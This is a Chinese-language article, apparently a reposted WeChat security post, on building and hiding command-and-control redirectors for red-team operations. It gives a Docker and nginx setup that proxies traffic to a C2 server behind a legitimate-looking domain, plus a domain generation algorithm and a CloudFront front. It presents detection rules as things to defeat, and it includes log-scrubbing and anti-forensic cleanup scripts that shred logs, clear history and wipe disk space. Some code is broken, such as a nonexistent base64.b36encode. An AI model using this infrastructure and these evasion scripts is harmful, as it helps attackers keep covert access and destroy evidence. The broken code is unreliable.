FROM nginx:alpine# Install required toolsRUN apk add --no-cache certbot openssl curl bash# Copy configuration filesCOPY nginx.conf /etc/nginx/conf.d/default.confCOPY entrypoint.sh /entrypoint.sh# Make entrypoint executableRUN chmod +x /entrypoint.sh# Set environment variablesENV REDIRECTOR_DOMAIN=example.comENV C2_SERVER=actual-c2-server.comENV REDIRECT_PATH=/news/api/v1/ENV C2_PATH=/api/# Expose portsEXPOSE 80443# Set entrypointENTRYPOINT ["/entrypoint.sh"]
您的示例可能如下所示 entrypoint.sh:
#!/bin/bashset -e# Generate Nginx config from templatecat > /etc/nginx/conf.d/default.conf << EOLserver {listen80;server_name${REDIRECTOR_DOMAIN};location /.well-known/acme-challenge/ {root /var/www/certbot; }location / {return301 https://$host$request_uri; }}server {listen443 ssl;server_name${REDIRECTOR_DOMAIN};ssl_certificate /etc/letsencrypt/live/${REDIRECTOR_DOMAIN}/fullchain.pem;ssl_certificate_key /etc/letsencrypt/live/${REDIRECTOR_DOMAIN}/privkey.pem;location${REDIRECT_PATH} {proxy_pass https://${C2_SERVER}${C2_PATH};proxy_set_header Host ${C2_SERVER};proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; }location / {root /usr/share/nginx/html;index index.html; }}EOL# Check if certificates exist, obtain if necessaryif [ ! -d "/etc/letsencrypt/live/${REDIRECTOR_DOMAIN}" ]; then echo "Obtaining certificates for ${REDIRECTOR_DOMAIN}..." certbot certonly --standalone -d ${REDIRECTOR_DOMAIN} --non-interactive --agree-tos -m admin@example.comfi# Start Nginxnginx -g 'daemon off;'
要使用 Docker Compose 进行部署:
version: '3'services: http-redirector: build: . ports: - "80:80" - "443:443" environment: - REDIRECTOR_DOMAIN=legitimate-looking-domain.com - C2_SERVER=actual-c2-server.com - REDIRECT_PATH=/news/api/v1/ - C2_PATH=/api/ volumes: - ./data/certbot/conf:/etc/letsencrypt - ./data/certbot/www:/var/www/certbot - ./data/html:/usr/share/nginx/html restart: unless-stopped certbot: image: certbot/certbot volumes: - ./data/certbot/conf:/etc/letsencrypt - ./data/certbot/www:/var/www/certbot entrypoint:"/bin/sh -c 'trap exit TERM; while :; do certbot renew; sleep 12h & wait $${!}; done;'"
Docker 重定向器有几个很大的优点:
-
一致性:容器是由不变的图像创建的,因此每次都会获得相同的部署
-
隔离性:容器将重定向器与主机系统分离
-
可移植性:您可以在任何带有 Docker 的系统上运行这些容器
-
轻松扩展:根据需要扩大或缩小规模
-
快速恢复:如果重定向器被破坏,您可以在几秒钟内销毁并重新创建它
对于完整的容器化重定向器策略,请考虑:
-
设置容器注册表来存储重定向器映像
-
使用 Kubernetes 进行更高级的容器管理
-
设置健康检查以自动更换损坏的容器
-
使用 Docker 网络分割容器之间的流量
检测重定向器流量
了解蓝队如何识别重定向器可以帮助您制定更完善的规避策略。让我们来看看一些常见的检测方法,以及它们如何识别重定向器。
网络防御视角
从防御者的角度来看,可以通过流量分析、模式匹配和观察可疑行为来发现重定向器。
用于检测可疑 HTTPS 连接的典型 Suricata 规则可能如下所示:
# Suricata rule to detect suspicious long-polling HTTPS connectionsalert http $HOME_NET any -> $EXTERNAL_NET any ( msg:"Potential C2 channel - Long polling HTTPS"; flow:established,to_server; http.method; content:"POST"; http.header; content:"Content-Type: application/octet-stream"; tls.cert_subject; content:!"Microsoft Corporation"; content:!"Google LLC"; content:!"Amazon.com"; detection_filter:track by_src, count 5, seconds 3600; classtype:trojan-activity; sid:3000001; rev:1;)
该规则展示了几种关键的检测方法:
-
寻找保持打开状态过久的连接
-
检查可疑的 HTTP 方法,例如 POST
-
标记可能指示二进制数据的异常内容类型
-
验证证书详细信息
-
计算连接频率
为了击败这些检测方法,您的重定向器应该:
-
使用适合上下文的 HTTP 方法(GET 用于浏览,POST 用于表单)
-
使用与合法流量匹配的内容类型
-
从可信来源获取具有合法细节的证书
-
控制连接频率和连接时长以模仿正常用户行为
JA3/JA3S SSL 指纹识别
JA3 是一种巧妙的技术,它根据 SSL/TLS 客户端建立连接的方式创建其指纹。无论客户端使用的 IP 地址或证书是什么,它都能识别 C2 流量。
防御者可能会这样分析这些指纹:
defanalyze_ssl_fingerprint(pcap_file):"""Analyze SSL/TLS fingerprints in PCAP to detect C2 redirectors""" fingerprints = {}for packet in read_pcap(pcap_file):if packet.haslayer(TLS) and packet.haslayer(TCP):# Extract JA3 fingerprint ja3 = extract_ja3(packet)if ja3:if ja3 in fingerprints: fingerprints[ja3] += 1else: fingerprints[ja3] = 1# Check against known C2 framework fingerprints known_c2_ja3 = ["e7d705a3286e19ea42f587b344ee6865", # Cobalt Strike"6734f37431670b3ab4292b8f60f29984", # Metasploit"a0e9f5d64349fb13191bc781f81f42e1"# Empire ]for fp, count in fingerprints.items():if fp in known_c2_ja3: print(f"Warning: Detected potential C2 SSL fingerprint {fp} (count: {count})")
JA3 指纹识别很难破解,因为:
-
在许多 C2 框架中,修改 TLS 实现非常困难
-
无论您的终端或证书如何,指纹都保持不变
-
即使你使用域名前端,它也能发现恶意流量
为了对抗 JA3 指纹识别,您的植入物应该:
-
使用标准、通用的 TLS 库(例如流行浏览器中的库)
-
避免使用引人注目的独特密码配置
-
考虑使用模仿流行浏览器指纹的自定义 TLS 客户端
逃避检测
随着蓝队探测能力的提升,我们也需要提升规避能力。以下是一些可以帮助你保持低调的高级技巧。
动态域生成
动态域名生成算法 (DGA) 基于植入程序和 C2 服务器均知晓的共享算法来创建域名。这可以防止防御团队仅仅屏蔽固定域名列表。
defgenerate_domain(seed, date):"""Generate domain based on seed and current date"""# Use date components to make it deterministic day = date.day month = date.month year = date.year# Create a deterministic seed domain_seed = seed + str(day) + str(month) + str(year)# Generate domain componentsimport hashlibimport base64 hash_obj = hashlib.sha256(domain_seed.encode()) hash_digest = hash_obj.digest()# Convert to base36 for domain-safe characters hash_b36 = base64.b36encode(hash_digest[:10]).decode().lower()# Add a realistic-looking TLD tlds = ['com', 'net', 'org', 'info', 'io'] tld_index = sum(bytearray(hash_digest[10:11])) % len(tlds)returnf"{hash_b36}.{tlds[tld_index]}"
对于良好的 DGA 策略:
-
使用时间作为种子:根据时间段生成域名,以保持所有内容同步
-
使域名看起来真实:生成不会让人觉得“我是由算法生成的!”的域名。
-
设置备用渠道:如果您的 DGA 域名被屏蔽,请设置备用沟通方式
-
预注册域名:注册多个域名,这样您就不会因突然的注册活动而被标记
内容分发网络 (CDN)
除了域名前端之外,CDN 还提供了隐藏重定向器的更多好处:
defsetup_cdn_redirector():"""Setting up a CDN for redirector obfuscation"""# Configure CloudFront distribution cloudfront = boto3.client('cloudfront') response = cloudfront.create_distribution( DistributionConfig={'Origins': {'Quantity': 1,'Items': [ {'Id': 'redirector-origin','DomainName': 'redirector-elb-12345.us-east-1.elb.amazonaws.com','CustomOriginConfig': {'HTTPPort': 80,'HTTPSPort': 443,'OriginProtocolPolicy': 'https-only','OriginSSLProtocols': {'Quantity': 1,'Items': ['TLSv1.2'] } } } ] },'DefaultCacheBehavior': {'TargetOriginId': 'redirector-origin','ViewerProtocolPolicy': 'redirect-to-https','AllowedMethods': {'Quantity': 7,'Items': ['GET', 'HEAD', 'POST', 'PUT', 'PATCH', 'OPTIONS', 'DELETE'],'CachedMethods': {'Quantity': 2,'Items': ['GET', 'HEAD'] } },'ForwardedValues': {'QueryString': True,'Cookies': {'Forward': 'all' },'Headers': {'Quantity': 1,'Items': ['Host'] } },'MinTTL': 0,'DefaultTTL': 0 },'Enabled': True,'Comment': 'Legitimate website distribution' } ) print(f"CDN Distribution created: {response['Distribution']['DomainName']}")
CDN 可为您带来以下几个优势:
-
流量混合:CDN 流量正常且普遍可信
-
DDoS 保护:内置防御拒绝服务攻击的保护
-
全球覆盖:遍布全球的服务点,以获得更佳的性能
-
SSL 处理:管理边缘的 SSL/TLS 加密
-
内容缓存:在传递 C2 流量时可以缓存合法内容
要充分利用您的 CDN:
-
配置缓存设置以确保 C2 流量不被缓存
-
设置适当的请求策略以保留必要的标头
-
使用具有令人信服的证书的自定义域名
-
查看 CDN 日志以查找检测迹象
操作安全注意事项
在整个生命周期内保证重定向器的安全对于成功运行至关重要。
日志管理
良好的日志管理可以防止敏感信息被存储和被发现:
defsanitize_logs():"""Sanitize sensitive logs on the redirector"""# Remove IP addresses sed_command = "sed -i 's/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}/REDACTED_IP/g' /var/log/nginx/access.log" os.system(sed_command)# Remove User Agents sed_command = "sed -i 's/"Mozilla\/[^"]*"/"REDACTED_UA"/g' /var/log/nginx/access.log" os.system(sed_command)# Remove request URIs containing potential C2 paths sed_command = "sed -i 's/GET \/news\/api\/v1\/[^ ]*/GET \/news\/api\/v1\/REDACTED_URI/g' /var/log/nginx/access.log" os.system(sed_command)
良好的日志管理策略应该包括:
-
最少日志记录:仅记录您绝对需要的内容
-
定期清理:自动删除敏感信息
-
积极轮换:频繁清除旧日志
-
安全传输:如果您集中日志,请安全地传输它们
-
加密:如果必须保留日志,请对其进行加密
对于生产环境,请考虑更高级的日志记录设置:
defimplement_advanced_logging():"""Set up advanced logging configuration"""# Configure rsyslog for minimal logging rsyslog_conf = """ # Minimal logging configuration # Only log critical errors *.info;mail.none;authpriv.none;cron.none /var/log/messages # Discard debug messages *.=debug /dev/null # Set strict permissions on logs $FileOwner root $FileGroup adm $FileCreateMode 0640 $DirCreateMode 0755 $Umask 0022 """with open('/etc/rsyslog.conf', 'w') as f: f.write(rsyslog_conf)# Set up log rotation with secure deletion logrotate_conf = """ /var/log/nginx/*.log { daily rotate 1 missingok notifempty compress delaycompress sharedscripts postrotate find /var/log/nginx/ -type f -name "*.log.1" -exec shred -u {} ; /etc/init.d/nginx reload >/dev/null 2>&1 endscript } """with open('/etc/logrotate.d/nginx', 'w') as f: f.write(logrotate_conf)
自动健康检查
定期进行健康检查可确保您的重定向器保持运行并且没有被发现:
defcheck_redirector_health():"""Perform health checks on redirector infrastructure""" checks = [ ("Certificate Expiry", check_certificate_expiry), ("Domain Registration Expiry", check_domain_expiry), ("IP Reputation", check_ip_reputation), ("Server Uptime", check_server_uptime), ("Firewall Rules", check_firewall_rules), ("Suspicious Connections", check_suspicious_connections) ] results = {}for check_name, check_func in checks:try: status, details = check_func() results[check_name] = {"status": status, "details": details}except Exception as e: results[check_name] = {"status": "ERROR", "details": str(e)}return results
良好的健康检查系统应该:
-
自动运行:安排定期检查,无需您做任何事情
-
彻底检查:检查重定向器健康的各个方面
-
需要时发出警报:出现问题时通知您
-
跟踪变化:注意配置或行为的意外变化
-
测试通信:确保重定向器仍然可以与你的 C2 服务器通信
以下是您可以实施的一些具体的健康检查:
defcheck_certificate_expiry():"""Check if SSL certificates are approaching expiration""" cmd = "openssl x509 -enddate -noout -in /etc/letsencrypt/live/*/cert.pem" output = subprocess.check_output(cmd, shell=True).decode('utf-8')# Parse expiry date expiry_str = output.split('=')[1].strip() expiry_date = datetime.strptime(expiry_str, '%b %d %H:%M:%S %Y %Z') days_remaining = (expiry_date - datetime.now()).daysif days_remaining < 7:return"WARNING", f"Certificate expires in {days_remaining} days"return"OK", f"Certificate valid for {days_remaining} days"defcheck_suspicious_connections():"""Check for suspicious outbound connections"""# Get established connections cmd = "ss -tuln | grep ESTABLISHED" output = subprocess.check_output(cmd, shell=True).decode('utf-8')# Get list of authorized destinations authorized = ['198.51.100.1:443', '203.0.113.1:80']# Check for unauthorized connections unauthorized = []for line in output.splitlines(): parts = line.split()if len(parts) >= 5: dest = parts[4]if dest notin authorized: unauthorized.append(dest)if unauthorized:return"WARNING", f"Unauthorized connections: {', '.join(unauthorized)}"return"OK", "No suspicious connections detected"
应对妥协
即使安全性最高,您的重定向器最终也可能被发现或被攻破。制定应对这种情况的计划是维护良好运营安 全的关键。
#!/bin/bash# Emergency redirector rotation script# Parse argumentsCURRENT_IP=$1OPERATION_NAME=$2# Log the rotation eventecho"[$(date)] Rotating redirector for operation $OPERATION_NAME (current IP: $CURRENT_IP)" >> /var/log/rotation.log# Provision new infrastructureTERRAFORM_DIR="/opt/redirector-terraform"cd$TERRAFORM_DIR# Create new redirectorterraform apply -var="operation_name=$OPERATION_NAME" -var="emergency_rotation=true" -auto-approve# Get new redirector detailsNEW_IP=$(terraform output -raw redirector_ip)NEW_DOMAIN=$(terraform output -raw redirector_domain)# Update DNS recordsecho"[$(date)] New redirector provisioned: $NEW_IP ($NEW_DOMAIN)" >> /var/log/rotation.log# Notify teamcurl -X POST "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/sendMessage" -d "chat_id=$TELEGRAM_CHAT_ID" -d "text=🚨 Emergency redirector rotation completed 🚨Operation: $OPERATION_NAMENew IP: $NEW_IPNew Domain: $NEW_DOMAINPlease update any active agents."# Sanitize and shut down old redirectorssh admin@$CURRENT_IP"sudo bash /opt/cleanup.sh && sudo shutdown -h now"
该脚本处理应对攻击的几个重要方面:
-
快速轮换:快速部署替代基础设施
-
日志记录:保存轮换事件的记录
-
团队警报:通知您的团队有关轮换的信息
-
清理:清理受损的重定向器
完整的应对计划应包括:
-
明确的指标:明确知道什么算作妥协
-
决策指南:了解何时轮换基础设施
-
安全通信:有安全的方式通知团队成员
-
证据处理:必要时保存证据的程序
-
反归因:即使在入侵后也能防止被追踪的方法
以下是受损重定向器的清理脚本示例:
#!/bin/bash# cleanup.sh - Sanitize a compromised redirector# Stop servicessystemctl stop nginxsystemctl stop ssh# Clear logsfind /var/log -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || true# Clear bash historyhistory -cecho"" > ~/.bash_historyunset HISTFILE# Securely delete sensitive filesfind /etc/nginx/sites-available -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || truefind /etc/letsencrypt -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || truefind /root -type f -exec shred -n 3 -z -u {} ; 2>/dev/null || true# Clear swapswapoff -aswapon -a# Overwrite free spacedd if=/dev/zero of=/zerofile bs=4M || truerm -f /zerofileecho"Cleanup complete"
结论
在本文中,我们探讨了 C2 重定向器,从基本设置到高级技术。通过实施这些方法,您可以构建隐秘、有弹性的基础设施,以支持您的红队行动,同时最大限度地降低被发现的风险。
本文的要点如下:
-
使用多层:实现多层重定向器以实现最大弹性
-
自动化基础设施:使用 Terraform 和 Ansible 等工具高效管理重定向器
-
看起来合法:确保您的重定向器在各个方面看起来合法
-
规避设计:从一开始就在重定向器中构建检测规避机制
-
保持良好的 OPSEC:在整个重定向器生命周期内保持严格的操作安全
-
制定应急计划:为发现重定向器做好准备
请记住,最有效的重定向器策略是根据您的具体操作上下文和目标环境定制的策略。本文中的技术为您提供了坚实的基础,但您应该根据自己的具体需求和不断变化的威胁形势进行调整。
通过掌握这些重定向技术,红队可以保持对目标环境的持续、隐秘访问,同时最大限度地降低被发现的风险,最终使他们的安全评估更有价值。
原文始发于微信公众号(Ots安全):C2 重定向器:现代红队行动的高级基础设施
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论